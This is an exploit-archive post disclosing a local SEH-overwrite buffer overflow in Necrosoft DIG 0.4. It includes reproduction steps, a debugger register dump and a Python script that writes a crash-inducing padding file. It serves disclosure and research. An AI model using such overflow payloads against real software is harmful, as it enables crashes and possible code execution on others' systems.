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Necrosoft DIG 0.4 Denial Of Service

Necrosoft DIG 0.4 Denial Of Service
Posted Jan 30, 2019
Authored by Rafael Pedrero

Necrosoft DIG version 0.4 denial of service SEH overwrite proof of concept exploit.

tags | exploit, denial of service, proof of concept
MD5 | 31a32a06eac7e6728d0a318e795237ec

Necrosoft DIG 0.4 Denial Of Service

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# Exploit Title: Necrosoft DIG v0.4 - Denial of Service (PoC) SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2005-01-10
# Vendor Homepage: http://www.nscan.org/?index=dns
# Software Link : http://www.nscan.org/?index=dns
# Tested Version: 0.4
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run Necrosoft DIG v0.4 (dig.exe)
# 2.- copy content DIG_Crash.txt to clipboard (result from this python script)
# 3.- Paste the content into the field: 'Target'
# 4.- Click 'TCP lookup' button and you will see a crash.


'''
SEH chain of thread 000003CC
Address SE handler
00D9FF08 43434343
42424242 *** CORRUPT ENTRY ***


EAX 0000000E
ECX 000004D2
EDX 000004E0
EBX 00000041
ESP 00D9FACC
EBP 0012FB60
ESI 00D9FB20
EDI 009284C5 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 004036B2 DIG.004036B2
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 1 FS 003B 32bit 7FFDB000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1


'''

#!/usr/bin/env python

junk = "\x41" * 985
crash = junk + "BBBB" + "CCCC" + "\x41" * (2000 - 985 - 4 - 4)
print "SEH overwritten Crash, full payload length =",len(crash)
f = open ("DIG_Crash.txt", "w")
f.write(crash)
f.close()

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